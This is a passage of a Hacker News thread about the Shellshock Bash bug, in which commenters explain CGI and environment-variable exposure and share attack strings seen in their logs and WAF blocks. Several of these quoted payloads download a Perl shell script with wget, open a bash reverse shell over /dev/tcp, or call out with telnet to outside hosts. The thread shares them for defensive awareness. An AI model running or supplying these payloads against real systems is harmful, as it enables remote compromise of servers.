Live data from Hacker News

Everything you need to know about the Shellshock Bash bug

troyhunt.com

261–270 of 296 posts

Re: Everything you need to know about the Shellshock Bash bug

#261

Earlier quoted context omitted.

Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up. () { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq

The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.

Re: Everything you need to know about the Shellshock Bash bug

#262
post #188

Earlier quoted context omitted.

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

No, super wrong. Underneath the hood there are all kinds of things that go on and result in system() or similar calls. Think about every module in CPAN / PyPI / whatever. Any non-trivial Web app has a high likelihood of eventually, somehow, somewhere, causing a system() type call to fire off.

[deleted]

Re: Everything you need to know about the Shellshock Bash bug

#263

Earlier quoted context omitted.

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

This is actually quite common and acceptable if you want to interact with a piece of software for which there is no library or api. One real world example is producing thumbnails from Word documents using Libre Office.

[deleted]

Re: Everything you need to know about the Shellshock Bash bug

#264

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

That's very similar to what we are seeing as well: http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc... Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan). Our team is giving is free for 30 days to help out. Details: https://sucuri.net/website-firewall/ *Just email info@sucuri.net and they will get you hooked up. thanks,

Thank you for that blog post. I managed to retrieve some of them and add a few attack vectors to my checklist: https://jve.linuxwall.info/blog/index.php?post/2014/09/25/Sh...

If you find any more of them, do you think you could publish their checksums?

Re: Everything you need to know about the Shellshock Bash bug

#265

Earlier quoted context omitted.

Can someone who understands CGI enlighten me why (oh why) everyone treats #4 as the main problem instead of #2 ? I mean, looking at it from an outside perspective, I can interpret #4 as working as intendeed (attacker calls my shell with arbitrary parameters and, naturally, my shell does arbitrary things controlled by the attacker), and #2 as a total WTF - why is apache passing arbitrary input data to global-scoped (a…

The flaw lies in the combination of 2/3. The HTTP_ environment variables are user input. The PHP (or whatever CGI script) should be sanitizing user input before using it. If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']); Nobody would be freaking out... because that's just stupid.

In your opinion, what is the difference between php blindly passing unsanitized user input onwards to bash, and apache blindly passing unsanitized user input onwards to php?

Furthermore, in the sample attacks the php scripts don't 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean checking for any possible HTTP_ environment variables and explicitly altering them even if the script doesn't recognize them - which seems ridiculous as well.

Re: Everything you need to know about the Shellshock Bash bug

#266

Earlier quoted context omitted.

The flaw lies in the combination of 2/3. The HTTP_ environment variables are user input. The PHP (or whatever CGI script) should be sanitizing user input before using it. If this was PHP scripts doing something like this: system("/bin/sh ".$_GET['x']); Nobody would be freaking out... because that's just stupid.

In your opinion, what is the difference between php blindly passing unsanitized user input onwards to bash, and apache blindly passing unsanitized user input onwards to php? Furthermore, in the sample attacks the php scripts don't 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean…

PHP is specifically designed to deal with unsanitized user input.

bash is not, seems pretty obvious

Re: Everything you need to know about the Shellshock Bash bug

#267
post #235

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

I'm curious -- is FastCGI vulnerable as well? My understanding was that although regular CGI respawns the command interpreter every time the web server is queried, FastCGI reuses the same command interpreter and just updates the environment.

[deleted]

Re: Everything you need to know about the Shellshock Bash bug

#268

Earlier quoted context omitted.

The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established: Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22 That site is still up and serving right now if anyone…

Same attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away:

http://pastebin.com/UdJZqUyV

Re: Everything you need to know about the Shellshock Bash bug

#269

A question worth asking: how long has this been exploited? If you have years of Apache logs, go back through them with "grep" and look for attempts to exploit this vulnerability. Report the earliest date on which you find a hit. Thanks.

Default apache log doesn't show the contents of HTTP headers I believe.

Re: Everything you need to know about the Shellshock Bash bug

#270
post #162

The article points you you can run the following code to check you are affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all. So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly.…

A webserver doesn't have to interact with bash directly or otherwise for a system to be vulnerable to this bug.

Here's one scenario:

1. A webserver may set environment variables passed to it from a URL perhaps.

2. Malicious users could craft a URL that set environment variables containing bash commands that do nefarious things.

3. The next time bash is launched (either by a human or programmatically) those nefarious commands are executed perhaps with root privileges.

Post reply on HN